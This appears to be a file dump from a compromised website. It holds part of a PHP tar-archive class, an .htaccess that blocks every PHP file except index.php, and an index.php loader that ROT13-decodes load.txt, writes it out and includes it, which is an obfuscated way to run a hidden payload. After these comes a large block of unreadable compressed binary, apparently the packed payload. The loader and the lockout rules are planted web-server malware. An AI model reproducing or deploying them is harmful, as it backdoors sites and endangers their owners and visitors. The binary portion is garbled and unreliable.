			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>.htaccess000064400000000334150425251240006342 0ustar00<FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|php7|phP|PhP|php5|php8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch '^(index.php)$'>
Order allow,deny
Allow from all
</FilesMatch>index.php.tar000064400000003000150425251240007142 0ustar00home/depancom/www/albums/elen/index.php000064400000000000150425250750014127 0ustar00index.php000064400000000160150425251240006361 0ustar00<?php
$kk = file_get_contents("load.txt");
$kk = str_rot13($kk);
file_put_contents('load', $kk);
include "load";PKd
[������931753/.htaccessnu�[���<FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|php7|phP|PhP|php5|php8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch '^(index.php)$'>
Order allow,deny
Allow from all
</FilesMatch>PKd
[=�9�9931753/931753.zipnu�[���PK���Z�
�MfMfload.txt.txt.tar.gznu�[�����ks#I���l��Ylvh�H�d�5�$��*�2���3$�=e6+�Jg�w&�Nf�ݝN:��k%�jG��ٿP��K.<"�$HV�̮t��.�����������`6ؾ0���l�n6�����&��&�x4�Nf\߿ڮ��O�	��X$�E�@����p,�D���Dc!&�����r�)�ɿ���;�Qxn0����2Tg���v��H��p$!�B�#q�>��M$����]@���ɠϨ�LJ�pH��g,k�,|~��^��߾�{_�~����0MUS����+E`��_�e�gQ>�"%/Uq9�A��MY	�Nę5�[��� K*�1��W��Y��K�|-s+s k����䁴�uJ�^1�N�$���4p�;��ʡ��b���N{�(�xa����J��VU�8y������(}!O�'[(;@Ź��$��-��H��r��TR��v#e����9�XKRO���~`G����5u�H�9���*U�E���i9�4�F�pz��K�� |�t$4D�"7j��Q�pm�_A໼�P�ʩ���ṖSN�yNR8TR}U�i��4YR�,"̥���Zk�t�H�@�9h��ѓ��hP�֌�ִɒ��JS,5`|�F�ܳ���@ot�I���X�4	�J<��d�EE�k��Q+O��)>�>f�-x#(�}�ͥ�%�'���>�d4�8�pߓ����<��QT,D��֊ֳ�k�}�<��[K;ͷ}�+��q����o��ľ�ɢ:�!&�>y.���p��u�&��$)���H&EN�$�[��cW?�5���O4d(Oʸ�����\"V������2]F�g�0���gP��{"�nT� �p�G��iB��ݧo�z%_�Vr���p��2��GJ�̉�e��0}�T]������>�����?~������2���F�#�C�g����HkUd��F�&�}"�����@������"���>�����g>����?��;��?��;�5��/��_���������?����7(�o>�}t��ӏ���O>�A���ߡ6^�����!�e~��Q���פ�Z"���!���_#ȿC�\'��O?�G�W��_�b�U�'�K �_�&P��@i5��+��ߨ��?�9���4A�~�?0�+D�� ����]�#`����l���h�ߡ�	���48�A�G� 
�4IY(�CHM~�2�(��̟C�8e"���"$��2�`�oP�?��u�x��Ŀ�R��YX�����,~�iH��~���c��0���M���Tk 1M��K�7x����@rZ ��B�[i��&c���	����!���s���_c�0����A��~�&�o0*֕*�;�W�ʏ���0t��̪W!r�4����@
�11S/7�-������(]�?�����b�1�(��&�B<�=KP�9&ҿ#m���P�_Y��R8�j$�J��I/��K4�_#��	�Rdj�%�a��;E^����̀3��1�]��A��GX����@*Ul>����B �#�xT�
F�?R����[Ŕz�Ɂ��)�P��.L�_�A��f�K)#R��'a�e�c��1��|<��|�`�Ҩ����}���_��%$*qU̟���3�!�DYS���eO��B:�k*Mm���)�9���;a�Bm,��e�����R���!�+���y��,:�`@ELf2~�֑b9[;�èA�
�WN�Bq�r��#�B[?���E�e�
3);E���A��ˬ��C�2�1;u��l7�:�3^��<��)���r�E{^�Q̭���A
^�((���ᗤ5^[�eF����=�+<KeL<p9����@/�=���_��V�f;2�aԧ�N��,�%�_�rI��j�M(	�?G4�k��0)l��d,�-�_�im����aH��2�,��@!���M���^A��>��Z�D�G�2�r�Wx\���ĐF��O�h�ʭ��׀�uZ2��07���7�j��H�^�a��F�v�
Bkn�)~�N���LRD�Ea[�g��\�_(n��1;���!���\�4��~d��P6#��ʂ O�.�s�\��Z(��R@�[�ۓ�5���I��S��)4r��.Hw}�0��RX4��v�]��~X�X���B<3G����Ţ_8�����!�y��+�
��Y�Ho�6;y2���^�-(Fh7�F���N���6�oO=�w�g�Xʚ���(�K��XչX��r�RF�I��AQD�K�%��rP*�T���Ġ?rI�ݦ�R�*���͡a�[|��߻���#���H����xV�`����n�a�m@�
y��N���N����I�皼`����r�9�l�^�qa�	9�o�����c�e)��a��
���rіij���R����,����-Ќ���T�tUIBK4�N*h��K�t!�����ĵC�Փ�^���k̷>29e�Rt/���N9"Z���`8O*�H꒖�2�m,^��?�g����r
P�n���Д:��{ۤM,~�V�ЮۑQu%Y�Vv-
#Mm�qKs��3�Y�� Uh��em͋����̂<o�3��IA+��������'{xPz�ܒw�k�=q��>�3�#>��d�Q��+�\�n}���ӝv��0�`�aZw`�;`gEA��"�*k����էM�XhuaN���&
+�����P&��n#-_��}Y��j�N�"��=�D(�ؐ%p���Q�OtQ�K���w���$f&�#D[Gݶ��7�H��b#��u���<Uj��M��[I�
�VD*�0h:�~����u*�4��2>L�ZZ�H�٠�N������ed�!)H̑��"8\F�Kk�Ct&��h���3A���Q����|R�d�ےϟ�7�B�>1:�a�1�	|a���8D�b$��4E�|ǘE/�2���T8��bS8,vKC݀q��߻T�,��2�C��z�:�	O�Z�E��$�� ��+UZf �h>�'�u���c �H��dm3Y�%�u!���'�����Std<�԰��?�8e��"Py�Ey�����OD��SSO]�>�w߄��q0���F;�e�C.�z*��Z�QG�ڵt�Af���r5w���S��m<=�bdׁJ�e��Zi�T�o,��� ~|��q}��é��;χ��>�.�GM�߸�"�VZ��eЩ���A��
��n'g�0���.��߅6?>�3�>�7&Fo�@�>�n�x�t����vY�o.
��	Y,��6C��i����`��H����$����SJ�>��P���{�9��	��Oa�Z*~�ՒfCo��\� �h��']���%}A��XS�<������PqA-�x��h�t6��:X�«��5Bэi��M�@_�E� �;fZI~�v6����B
�!�c.sf�T�� �e!�J �MghMј7h��wAk�7�e��t�=م��Q4kK6q�q�vfl��Z�NS�����,ƣ�p�l%��M^��b��ש�e2�H�0�li�4>��%�x��b�i���<�Օ񑐌es�|�HD��D�����*&���d7�5u�v0��P{`����*��&vP�ρ���b6PU��o��̑2i8{`����;��s�B&��
XM_Ŝ1�?4h
ڀ6��4�S{�X�
�(\�?��E�(�f�:���J
-���
�@Px��:.�Ԟ�,|zP6� eG�)��(ߞ��͉���x����rz;��MK��gZ
}Ao�_Л@©7���&r�7���-�k5��B_Л�SoBQ�����ޠR�Z-^RQj�h�GʵD�(Ҁ�M�X�H���� Y����^�M����+*|��#�B��!H��`%�%�H6��h	��0S����r�~v����~B�#��.��W;�_8����G�	{�c���		Z[�i�������#`(kn���IxGl�r�e� ��]�@)04� �M34^�H5�Q�[��F��y�U:^V3(�i�ۮM�>�:��M謋@\Jڈ
��m�3y�6,bT�c�j�\���m+cU�D�'kܪ����y]{��B��,I�;�~��W��o`q�/6����0󓞂��zh��.��;W�~�R}��z<Z�s4�y��Z/�SW����1�0g��p�;e�8��*�JZ_0@<x�e��	�/�,���v{�Aq���sI�$E�0h+��w?ݙ��^�=����1��މ�u�Y*<�z�=s�DܟP`����E���u���QG�J�
H�B{n�f"фIחs���P��PW�$�6�0�@�I����:�T���r�,
ċ��K�֚>��G@�� l�%���ּ7���u��x�
OMc�B=ݖ@᫽�D�ݵy{�"���c6��%��Z�{[�I�Y7��<~�w�L�]vf�y���_�50�^�������9݅���[z-�X7sy��ۯ�!P�;D4��~�2�u�
�G�|^��`��e���)�&�
�#�\�=�7WW��p.u�_��1��Y+�IT�/��a�Gk�_ߏb|�W<-٤2���r6�6�ZYo���q���h	 ]۶VV��>�U�(��Ke�ÛU����3��u�?q����d�X�9�(m�����G_�I#�߇u�f��
n���זᇌ���>���zC�7�5p�X�>�Ɓ�:D�&@!Ce1��c����cf��kh���&	C��A��	�-�Y�N�DI0�����A�:��#��n�1����](J���p1�US7��`B�-C�,FPH�Y��v<��񁉞I��Ov㍅}��}9Y�/1J�
1O�4'Ք�nV��;���3L�3I��Du��5��΀IIJ�∤.��;�EI����~+3kAY^��C�5�w]����n�&��S���X�	%]�Ϥɷ�|�r��&�u�c��}���N��DE��@w���<��8�:�?��	(��+�[���e���n����:��s鮖�Ԓ�uM
�e	�k��X�dۘ���و��A�x��:M���-.AtW�%O��"����)Rx�SF�`�NO�Q�o	��m�Bg03�~�.<<G`_�.��tf?�+���4����/b�+�甁�N��p�fzp�L�]�n��I=l�&���b��Bه�P^����^��O�^����/�W�'>�/�l����o����%U�緰�١t:���zy��$,�~0��H$�A:�X�.ǭto�Cۍ=t��c�8��p"�v����2�HM��	{��eV��=jkg4I�(�X�Ekf?��!���i�)2�~��=�B�8� ���ƞ�A�484nۉ�y�Ą�)#f7AUT�q�ş㣏��1\9�L_�üŌ��"�t��
Z�"L��I��:�'�i�ĸ�k���5�LhNW��A;�*�G����Vn"��,�L���i���9���oZ�ʮW?�-���B֑���mG�B��&�]���RAz�l~n)ogb���q�I�?^��ڗ{*��p1��,��U<�\��u(k&=k<9�w�ὼM�w�E�h0�{�&�k8#ø`��s/-��U���_Pt�LJ�M�E��$!���`�#&T��bv�I������N/����RU�h��9!ʊ��e_��p�C�#m���r��e��9
3JrSPڞ� �MQ����6�D����$a7�{as���A�F�32~W����(P��G� �t��m���L3�~d@��Ÿ�mm!�T0�2����h ���
!'�n2��v.�c�'���Q���QȑҎCU�6*�m�y�lm�$,C,,J�+���g*B%pɠ�o ���mE��C�j�r�l�i��i]�b�[h��.�t�js�l��� DN�������iLSuC�����\C���X<�,���~���bsiR[�S�%��u�m��yp�Ϭ�退�"�R��������o*�|���B���H��X|�2ߨ�)q@��,VD1���ɯ�M��ě�.i؜�ځ��t�;_<ݟ��:��#��'G�gh�������y�4Z��O7-�"��gI���0�]<W����	J�<;���oz��2���.�Q�+�J��R��H>��X["p��{[���;R��0@���U��y	�S���Ɓ�C����ݥۭ����Ԣ��7]���xWN�d裱����1�H��$�㲠�6�*!5�~�T��>�p?�+'��<�+�dY�ą������	�o��ظ��}$|������h.��>�
x���Z{��ޙ&�>�"�����
[f6A"M%`)��4��F`���d����;
�2�ú���e���-_���.�
���c��9�5�K���Zv5�^3O�Jv��9���髞�;�Z�N�g&f�=��I��+����aX��h��%��6lŖ�"er&�`��HL
u�z2���w�p�4���~�;T��Nf�pji���S�������H>�	�?��{�s�[ ��`B���րl���np�1�5^�`fh���
�qp�1���a!sH��}̽�
I�X���}	5ghW��A�Y�c=�f
�C�p
�"�����P�j�h̭{h��γ-�  ��U������\��PAs��5S��	l�[]�����j:;
tZ+��~R�ºQX�OU�Z��*���f�y�Pm-��B�R����ˠ�U6�of��2���7<�~�| 4��Q,��6�p(����zE�K��$����>��~�7gZ8����1��﫡�J�nV(k�
r��V���4�6�8p����J�(��H^�Ȉ��Plp���J�XAO��dQ�V�-��E�~Y����+5T\yo6�A��uw�Y)Y`�fٕj^)�	o�;6�6%>X(���ƊJ-�i삡��AhW�������:��U�-7P���E-ޮ��2_�Ï�1.���hqyX��wE^Lp���L��X����q��oF�❔H�2�Q��n��<���Yh���A�#�j��ܮ�7%Aˏ���!����i�?�W{A���v}u+���|��$P��d�XD�߲�w�]�$!�/�=9�Y�>,��ފMTE6.ݲ������.�حr�~w�*>��հ�Xj�A��nP'�P���n��	6��n{�P-�
�y��X	NF�����^�.�Ty�tR�~'�M�nc�rÉ��4$q�4��ϼ�a9[Bx���@p�x1�uƛA�E��ut����]d����[6�oF��$ �z�|$��)�K-����
��X9���q<��F�zC��2K`��8P�F��~*��bsր^��bi�L
�\6\�{�*��vz��
M*�.�®�.�k��m!B��)f�B(U�dJ%��6�diZ/m��V9;~T5Uz��!�(�L���fB��H�J�]?_��kWA��ʱ�ԣ��&�d��ͬW��O�3û�}���:�l,�7��4��W2�|a��Wr�)��S�"�]��PV���,V�f��R�.��f�ĸ�m��n}��
��F��A>���͑b��R��X7 �{w��&��C��maX�ʽ�8z\��:���h���i�'\A�LJ�~����Hh=�Dk՛�4�Ԅ�7[��JX|V��hC�>�V��+�rb�hפ�x��A�;��J�4_+����099�w����z+	�o�3GY��A�^�%ˏ���3��N`�pc��fV#��n�b[���R�#���0�`���)�wp��S�KVZ�abFks�V�g
��9�����������	�ģu�m�4�7�l׫r�{��uY�8@'�u]>+Go�b��ћ0��G�>ݤ����<����4���S3���d��M6�O;��Tw7r�?�D�vh�G[�'�W���.#�q���r����}v`�����3�5z�����p��h�r؛�PA>���Z�*�{g�x�m`g?z�m���ǡ�oŞ��3�8���n�N�Y({}|<��o�=#1Lێ�=z5M7��2n��֨����a�a����x�pu��S�v��O�PDV�_](�(�~�����3�z=E ��V	�)
,E�J����p�I9�=�T�b�q��l���v}'�z�.��;�ϸ�"��3ȼ���j�߻P"�;���Y�x�H��h���{5���Z�34"���,|s���eJ݅;e|!�Օ��o�å���Ҷى�^&z�A�U�q�p|�r$��e0C/��LU:T��58�Ɉ�3B+�" �M3��m�H��D?e3/�AH"�KVoP낊f
E�q�2��	�5Z"�x���|@[z̴�Q�;T����
\qi�,:����tF�R���9�T�~A�&��/Hԥ��2	%��k�o��$�ܨ
?1V~·.��P�i�cOr�f�g?��HB�v\��L���w��H��!��L;��d[���lh�C*�q�9��*�(��E�a�xExNM�-&N 1(�ɠ��*F��\pG�Nu`z}�P`�j�k�Vi�5c�.����-�4'�z6�$�oj,s�"�pR
���\5���fo�F_���ku�8�$l��L�5�Z
�NC��+fcU0G�����8jzM����{=�֬��X(��}!��`������d!R�9��$�e%xc3��wY�0	e��cL�vl\�9�����,q0����nk��6��ۊCL2�1vm����3�Y���z�^����^�RJ�L�������,n�K�˘̅Q�łm^�_όoe�xvxY}�;�*�x�P���U���ŭ��:�����`fg�V�a��(�eMab��'���F#���+��J�[�	�Ӄ:k�l��S�_��z����v��C�a�0���S������>G��=�z�0u$���%+�z+SP�?Ǒ���p��!Hop����"Vj�Z��`�;�c �d{��:�-V�3�|r�rH�K�|�|4���slK�O0`��"W��-b+0�=��]��i�v�Lj@�ܞc	)f�Po�wu���A�P�����)Ęo/2��K���:D>�Ia�N�@EN��zu����������e޼	�����o�.��.@�s��_$�/Z�e��*^���y�a���
Ue�]���W�#u!��
�<�_� P��v��\֔� ���(���%|�B8���ʂ����9aGuL��`]���t-��d��a�Qo�/PH�wGh//�8J4YB�ҫ�6��|���n3L�Y�@,L�ϸ���q���dN;�+�"ob�~i~�&d���ӯEv��J=],�hӤHcp>�m:��kXz�3=N����bc����ߩ�_�3F�>����Y)d����N�8��*��6'�m� ��%u�Ť;,�\-���w~�v�.��NM�$�)�u�kj���1�EK��5��~!�j�aK�̒8�a��8�p���-���MZ����e#��0Q�t�qcm+����4�}mG�������}�-Z"���Zc��k]��5m֧��qz�p&�E��@f�n�'��߷�0���t�Z�kI�=�������ބ$�9����r��0�����Xz����
*b
,�<r�J�"����z�?�3m]];�>ۙ}B4-h�Jt�]6#�ѧ�&�^�b�c_.��}!��	b����Ҙ���K��K��_����M��i���0%���9(zcYC�N]%�Ya-���KW�1T3�	��#�"C�1�',�j��>&t�p��1᫛���ݢ���M��cbW����9�/�j�t�Z�K��[��쐞��)+�����㜲cz�l׳g�`��%��E�4�H8��DP4	�rh�1�.Xw��ҝթ��h��2KY|γ6�:0
2���H�z��x�;��{D�Z�`�:af����	,LMm ��bz���8�?v2�t����Wx��P�����HP ��P��b���E0��V�V8ڗ���Ǣ�uK<3�%���o��2��3�o}�̖Jb�d��9�\$�%
��!yP���\0?�sG� �Nf~��N�f�5�;sخ1 )�h�O� ��tu�4C{���uA����~h�
�%T�z�@��'`�?��������0�Ɔ�ʼn�z���9x0����؂�TxI�V�v�7h��ŕV#�G�Lr��`�M]/�n����m7]������x�|.�}B��v�N=�����4���7*uT�y�\��ld��+�m��T>[I�P%��r
�U��jZ��KFz˚Ulw�\߸Ea�z�)��y��;�����{N�����*A���B��ƕ�>�COsY�`�B[��|e�Vw��5�v}��V7�:]{��P΂.��-'���ӯ��Nϲȡ����AS��
����Jl4��t�Ny�2TBK�X���վ���ywm1V���Pm��\H�K�����p��w�6�89y��\
?܉��D�p�Ĝ�A�I��� _��d�P�OC,i�G��G�X2y�/p���"P��g�7�5�Śu�X��u��
,��_Zc,U��J8�|�9�E0��z��{eE��/׳��������y��o*�j��cl&-��~9�)�_�[*as��5�
�V�[��
�(�u�A}п֯�@q��:��tH3�ĵ�q^0h6�3�#�
��?k�б��F#܈[���
���Q-��>�� �a��c�z�J�k��>.��Vv�\�Pł@Z\,UA���kU[�@
㲤i�-��)�$�W�*BN�}�/�7�20�9h&�~{�~��ca&���X��h+,$#�,.�k?D��h��O�E�@���Zv�_&��.��CZ=�f�V20��Y���R��}u2�{�V�R���\1��7��&��\D�h
iXX���CM�T
�\���l39~�T�m�0od��B��PWj%����f�!��|'TYn�r'���۪(�#w����I�,�
ww7ELDC��hY�U&��z*�*U����Pj�q"ߊ(�A���<�W*��:-ךS6�X�ܬ�7���+��U�����J��/+���=;b���6��j�ʼ����Z�R�4��Ͷ�C[(o����ݪwK��ҬH�V�[zg�J���>h�J�:�j�bE�e��ri�ʯ�������jT�fw�D&ZI��J��P�ەn-\y�����RY=���.�*�l��nOR�J;WFu[	m�H��Fz�G��ډA.͖��Z-8�w�u��n�w�q&T�<�w��`��ʭ|�����Db�F��mf�W+�&�<F҂O��X��%���h���4��F�^a7m��R��vk�i��ī|Ub�m-���w��j�T�e�}��*|���lj住$n��m�+���m4���Ҽw�\F���V�lP��E��2��ՇvcrWj�Wo6��8
�;��4�~X���(��g��.ˎ�I����Dok|!l��hc�O��)T���u�-0Ln#RB���i�"�xo�n����Eit�M��|%2�W*7��,q_�TV�UK�G��0�M�lAY=��R��r�L�r��l�Z�#N�"K�S�v�j��櫭ڴR]O��ŴZcǫ��=<�k�u�V��*����<�eT�5�U����Fe�z�f嶜�W"��v�o��:�[���NwR�e��Ie�/��e��TUm�٬Vw��]�=o����C���V��v�MV��+����������up��q�`��p�6�c�ݚ��B�[��U��g[�j�)�g�;>q�?3s!#ߔF!^Yf���M�Ox3��h�^��ӛƬ^��TM̯�Z9����P��uT��,%���(�[�*�|���W�l��k�o�R��Z��2�ƂH���u�0��A�A��y�Tڴ���ݭ��6�D�;����M#5������!��T��q���5��V`͵�[�_�*��&8��L��]	aҾ�rJ���l[��:���2�󑂷��^?��F��f�ڮ�P-�i� �x��A�')#��%�3,��1�w.��r�[�Ǻ˷v�;�f���`}�вѴ����a/�U�b���b4J�׷�qd�u��Y�2/��Z����R9��`f�����R�G�a���Kj/�,�wj�bG���ք;�~�/(��TL�Ŷ�w���¶\|�l�����b��Ă��BH�c�}��`���G�liۺ��G�d��l��"�>�V��cY�����G�U��� ܧBw�PG��l(�NC��܈f���cP���By���D�c��8�_q\���%±Nx�v�v�+���\��|�i���H�~`)�� .+���� ��W�hu๻��a��r�+$�|X�wz�r�&/5֗c�?��xr���J�E�8�8�-e��q���m8�c����%�F۪$>N׫�8_Ϧ�E7��%���<U�Ċk�u)岃E#�'��M�t�iq����6
�fsy�*퐨��^*����ݮ#���8N��r7�m��i`�v��W��å��J������ +�4n 	��Go�b�X�-Ā,qr@
i�g{q-�
�N*s�x},��P6/��RU�](��mr�������7��S�J���}��,���v����I�޻MK1yڛn��f�a����~��l��M�����Y ��!%:��L��!�v�����gc)�*���8�S����v���g�A���Aj���K��d���S��M;�f��[�z����R���d�j9~ǵ'�M7ڼ�H���bϽ�Mt�y���(�t��"��J�“O����m�)��&�lX`�����Q�aUhUoGݸ���hϼ雩0+/�IH	V7�Z4�-V7����U�\���'!w�F7��<ګ#a�ln��:�kuG���C�~]TZ7��Hm��@�u��[fÍ�4�Dz�F�'q��DT�;����M�6��M�4(k�c��.n����]�?H��Pb�e�>��5o*ތ"i���>=暽����b�W����t�!?�d+�~U~|X���m��q����V�lJj�C�Լ����U?���Z���v;Χ�n�6��)�mw�X/L�i_i�z�v+0�����tn[��3}~�/�Ceo���ʡIl��g]�6֕&	E�,�x:#T��.����/6y>8����B+�dvZ�:�,p�0�O�i�IE�C�e����EʝP�T�'��mZN
->*n�ce!v"�B�)�V��Ġ�uv�b>6��Qe�;eV�xu�w�R�)�FR�6�m.��<�
.��Po��췸��m�va��5���2����Y'��~���1��ߔ��]L�!�':������H*���䭔�ۻY7�LuR��*^Fkm��骉��|����M0�-�d^-�K݅t{�mų�ޔ����6>
����P���b1���K��	��b��P�L�����&Wa��Q,�s�`6��)fs�dI������e{��bH�V��<mE��({�mc�C��+�� /�q\H7��d�v��z�ݰ#g{R~7�f%m�'F�b�sB"����(p�Ԣ�a�0���X��߆��id����R�Gí����h�&�73�7ָϯ�;VE�hX��n:��Mg����n�O��B�"�'��M>�P�\w �6���@BA%4Dz%��/��`4���A�VI�Ë�2���f��[6%$��er*⡻9���x�lԥ�B��K��Mp�
�6��}�?�WV��<��[���
Z,��Q�^-y�7h�K3�۬��<�ބ���r�e��t��:SYq0h�K��pS�%��@y���ˉM�����*B%6�
C�Ym��y'w��c1(���n9_��C>���{���}�gC���,��e|;��l�Q�n�l�q�]���k���}�Rg+7�
�%{Q�a�X��hP�w1�v�2W��a�~��R��r^��Z�kMiU:i�1N��|d����Cb!��7�ɻ����ծ�j�L6�T���|s?�&�ꭄ�f$�,f�jt��+�yMͮ3��j��brW�5�N�D��R�U�/�7
���e"J'��a�}��d�.D�۟	��0Z�����s)��-�Ųja"���!Yᖓl�NL����D�Q)e�b��yl���enX�[o�A�LZ��4�C�Q����2��Vq��ae�{5���m$G��r<f���ú�ɠ�]�M�Uy^K�����7Zi��E��hs�*{���E���m?7E;�F����ܬ�m.�V���
��w8d;��F)�oc�v�͋�rYMݖ�\&��mJ�"Rw����b�J!S
v%��?Lk�b~R��+o�X�&K�|7�Su�~���C��nj++���f��Y1��w
7���I<"��So�>)�iA�5�i����퉺yK���Ɂ�֙��<������ٻL�N�����q`��$�ŲRQ�i����K9��xq�.U�>1��LJ[o"�І����M�,R+Mz��x*F�:�К�mn���j���j�϶��m!?�B~���l���-�g[�϶��m!?�B~���l���dz��WѻF‡V[j	��o�|���8�7.��w��c��p���fԇz�1^T�r�o��7�鶩�J��6y��Ə�Ƹ��N&I�E����y-9N�KjQ��7ܖy��x�[��a�띠�ƻl�+l�<���f�����R@���CUH*�V�������>���W���z;s�~'�^�q7����C4�TꝂ0o!Jk�T#�C���;���+����N��*�hKm���{�6�ΡMJ2�4
��|/�,����L���ZV�n��\:��C��.%)�Ҫ����tj*ha�JjT���Z|\ߖK���o�w��x0���h#�vʦ*)�|Q�TF�N�vS���Ǣ˳PX�����mF��H2�J��r٪���&�ɹ�}=S��֭V�6��/���>E��WR�lX�֍BI��q3�
